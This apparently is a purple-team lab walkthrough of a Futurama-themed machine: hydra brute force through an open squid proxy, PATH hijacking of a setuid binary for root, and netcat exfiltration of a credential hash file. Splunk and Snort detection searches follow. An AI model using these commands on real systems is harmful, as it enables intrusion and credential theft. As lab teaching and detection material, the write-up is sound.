Purple Team Exercise: Kif

We have some info about this machine from Zoidberg.

It sounds like we have to scrape a site for leela’s passwords and brute force a login. We could use this info to brute force ssh, but we would be unsuccessful. We’ll need to setup hydra to brute force an http login form.

Red Team

Let’s start off with a basic nmap scan

nmap 192.168.0.252

We find ssh and a squid proxy available to us, not much of an attack surface. If I saw these ports open on a vuln host or CTF, I’d ignore ssh initially as most of the time it’s a secondary means of access.

Let’s dig a bit deeper and follow up for a more intense scan:

nmap -sV -O -p 22, 3128 192.168.0.252 –script=safe -oA nmap

Based on the info we have, we could start to brute forcing with ssh.. That would lead us down a rabbit hole, so let’s check out the web proxy.

When I see a proxy, first thing I try and do is connect. Maybe it’s misconfigured and allows anyone to connect, or at least the network I’m connecting from:

Set browser proxy to: 192.168.0.252 3128

And try and browsing to the server over http:

We get a default apache page, so it looks like we’re proxying through squid successfully.

Now that we have a foothold, let’s find a page that’s listening. I’ll fire up dirbuster with

dirbuster
And add the following information to setup the scan
target: http://192.168.0.252
/usr/share/wordlists/dirbuster/directory-list-1.0.txt
Uncheck “Be recursive” for directories

Then we need to setup the proxy connection:
Options -> Http Options -> Run Through a Proxy
Host: 192.168.0252 Port: 3128


With this config we hit “Start” and find some pages available:

Our scan found some pages, so let’s start with login.php. Surprise, surprise… it’s a login page!

I want to inspect the web traffic more closely, so I setup my browser to proxy traffic through Burp Suite.

 

Then edit Burp’s proxy configuration to forward traffic to dot 251’s squid proxy:

 

Now when we attempt to login, we’ll intercept the request:

 

I tested some default credentials, but wasn’t able to login

It’s important to note the error message we get back, as we’ll be using it to formulate our brute force attack. Notice when I attempt to login as admin, I get the “That user does not exist” message.

When we try and login to the site with a valid user (leela), we get a different response. This is the response we’ll use in our brute force attack.

We can also use Burp Suite to determine the correct error message. I looked through my HTTP history, sorting by most recent and clicked on the “Reponse” tab

With this information, we’ll put together our hydra attack.

We know we need to brute force the leela account on this machine, so let’s generate a password list from the hints provided:

Without specifying the length of the text (between 10 & 12 characters) we would get a huge output.

curl http://futurama.wikia.com/wiki/Leela_Turanga > output.curl && cat output.curl | sed ‘s/[‘\”/<>!\-]/ /g’ | tr -cs ‘[:alnum:]’ ‘\n’ >> output.sed && cat output.sed | awk ‘length>10’ | awk ‘length<12’ | sort | uniq >> pwlist

This generates a wordlist:  “pwlist.” Now we’ll configure hydra to use dot 252’s proxy to brute force the login form

Kali:
HYDRA_PROXY_HTTP=http://192.168.0.252:3128
export HYDRA_PROXY_HTTP
hydra -l leela -P pwlist -t 5 192.168.0.252 http-post-form “/login.php:username=^USER^&pass=^PASS^&submit=Login:Incorrect”

We found a password! But let’s take a step back and analyze our command. Note, after we specify our attack, we separate each variable with a “:”

-l = username
-P = password list
IP = 192.168.0.252
Attack = http-post-form
“/login.php = page that contains our auth form
username=^USER^&pass=^PASS^&submit=Login = we get this info from the POST request sent to login to the form. Replace the username and pass variable with ^USER^ & ^PASS^ respectively

Incorrect” = this is the response we expect to see (failure). It could have also read “Incorrect password, please” but I abbreviated it.

When we login, find the following login info:

Now that we have a username and password, let’s try and login via SSH!

ssh amy@192.168.0.252
Id

Now that we have a foothold on the machine, let’s do some local enumeration
uname -a
sudo -l

Let’s download an enumeration script to the box and automate this action a bit

Kali:
git clone https://github.com/rebootuser/LinEnum.git

cd LinEnum/
python -m SimpleHTTPServer

Kif:

wget http://10.242.2.2:8000/LinEnum.sh

Now that we have the script on kif, let’s run it:

chmod +x LinEnum.sh
./LinEnum.sh

After going through the info, I needed to do some more enum. I wanted to look for setuid  bits. This is a command I use during every linux enumeration, and I’m surprised LinEnum didn’t highlight the same response.

find / -perm -4000 2>/dev/null

We see that inform_the_men has the setuid permissions set. This essentially means the program will it’s owners permissions.  Since the owner is root, maybe we can leverage this!

Let’s run the program and see what happens

./inform_the_men

We see the script calls “cat” which cannot find the file specified. Because “Cat” is not referenced by it’s path, we can manipulate it and call it from another directory, which should run as root 🙂 I created the following file “cat” in my users home dir:

echo ‘/bin/sh’ > cat
chmod +x cat
PATH=.
     This command tells linux to reference path variables in the current directory (.)
./inform_the_men
     This should execute /bin/sh as root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Now we add back our environment variables to we can use system commands
Id

Upgrade our shell and browse to the root users home dir:

python -c ‘import pty;pty.spawn(“/bin/bash”)’
cd /root

We see a couple files available to use, most notably hermes.sam. It appears the Neutrals were already here and have been passing credentials around.  List.txt seems to be the wordlist they are referring to.
cat hermes.sam

Looks like we have domain credentials including the domain, user and hash. Let’s export these files to our Kali box

Kali:
nc -lvp 1234 > hermes.sam

Kif:
nc -w 3 10.242.2.2 1234 < hermes.sam

Let’s exfil the list.txt file:

Kali:
nc -lvp 1234 > list.txt

Kif:
nc -w 3 10.242.2.2 1234 < list.txt

Downloaded the files to my machine:

Blue Team

Taking a look at our snort alerts in squert (Security Onion), filtering by it’s ip.

Graphed out in Splunk:

src_ip=”10.242.2.2″ dest_ip=”192.168.0.252″ sourcetype=sguild name=*SCAN* name!=*Dirbuster* name!=*Nikto* | sort 0 _time |table _time src_ip dest_ip name

Generate an alert when a scan originates from an internal IP (192.168.0.0/24, change to your subnet)
sourcetype=sguild src_ip=”192.168.0.0/24″ name=*SCAN*

Generate a splunk alert when 30 “SCAN” snort alerts flag against an external resource (53.77.100.33, change to your host).  If possible, use Splunks adaptive response to block the IPs from your firewall:
sourcetype=sguild dest_ip=”53.77.100.33″  name=*SCAN* | stats count by rule_name | where count > 30

 

since we’re scanning SSH we see an additional alert:


 

 

 

 

 

 

 

 

 

 

 

Snort recognizes the dirbuster scan and displays the following alerts:

I ran a splunk search to show these alerts over time, whether the connection was proxied, it’s http msg and the uri the attacker was attempting. From this info, we could look further into what sites the attacker visited after the scan. This would confirm the info he has, and what he’s attempting to do next.

id.orig_h=”10.242.2.2″ id.resp_h=”192.168.0.252″ sourcetype=bro_http user_agent=”DirBuster*” “proxied{}”=”PROXY-CONNECTION -> Keep-Alive” status_code=200 | sort 0_time |  table _time id.orig_h id.resp_h “proxied{}” status_code uri

By changing the status_code to “*” we can see the last dirbuster attempts made by our attacking box:

Splunk Alert
We could alert on if an outside IP address is proxying traffic through this machine. We should modify the configuration to limit connection, but we could use this alert as a second measure

 sourcetype=bro_http id.orig_h!=”192.168.0.0/24″ id.resp_h=192.168.0.252 “proxied{}”=”PROXY-CONNECTION -> Keep-Alive” status_code=*

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Because this page submits the variable “pass=” we’ll get a snort alert. If we changed the variable to something different, snort wouldn’t fire.  If we were MiTMing this request, we’d have the password in clear text, not ideal for security

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

I created a splunk search to break out each attempt from the attackers IP. I included the request_body_len so we can differentiate the attackers hydra scan vs. manually browsing with his machine (Mozilla/5.0)

id.orig_h=”10.242.2.2″ id.resp_h=”192.168.0.252″ sourcetype=bro_http user_agent=”*” status_code=* |  table _time id.orig_h id.resp_h user_agent status_code uri

Splunk Alert:

We can alert on a high volume of connections, to say… a login page (http://192.168.0.252/login.php).
There are more appropriate searches to detect brute forcing, but this would also work for DOS attempts
Create an adaptive response to block the IP originating IP if possible
Choose to run the search over 1 minute, run a brute force attack on your auth page and adjust the count to your liking:

sourcetype=bro_http id.resp_h=”192.168.0.252″ user_agent=”*” status_code=* uri=”http://192.168.0.252:80/login.php*”| stats count by id.orig_h |  where count > 50

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Splunk (linux) logs detailing account logins:

host=kif source=”/var/log/auth.log” app=sshd |  table _time src_ip host user action vendor_action

Using “who” we can tell how long the user was on the machine. The script checks in every 2-3 minutes, so based on these logs, the attacker was logged into the box around 4-6 minutes.

host=kif sourcetype=who | table _time TIME host HOSTNAME USERNAME

 

 

 

 

 

 

 

 

 

 

 

 

 

This doesn’t generate an alert, but if we’re working our way back from the compromise, we’ll be able pull out this file with packet capture and Wireshark.
Locate the correct packet capture in: /nsm/sensor_data/homeids-eth1/dailylogs/2018-xx-xx/snort.log.xxxxxxxxxx

File -> Export Objects -> HTTP

We could filter our traffic by IP, export the capture to a new file and run export again to only show the packets we want (LinEnum.sh). If we just run “Export Objects” on the full capture, it will try and pull everything out:

Looking at the extracted file:

Now we can search through all the files themselves on the system… or continue to use the wireshark window:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

We didn’t generate snort alerts for this traffic, but with Splunk (and nix_TA) we did ingest the commands being ran. I would recommend crafting a splunk alert (search) that picks up excessive info gather commands (telnet, ping, nslookup, chmod, etc.).  We use this alert at my work, and after some tunning, alerts us to issues users (malicious or not) are having on the network

host=kif sourcetype=bash_history | table _time user_name bash_command

Commands issued as regular user Amy:

 

 

 

 

 

 

 

 

Commands issued with root privileges, but they are still recorded as user Amy:

host=kif sourcetype=bash_history | table _time user_name bash_command

None of the files transferred through netcat were exportable in the pcap, but we can see connections to our remote host:

None of the files transferred through netcat were exportable in the pcap, but we can look for our host responding to the attacking machine:
sourcetype=bro_conn id.orig_h=192.168.0.252 id.resp_h=10.242.2.2 |  table _time id.orig_h id.resp_h id.resp_p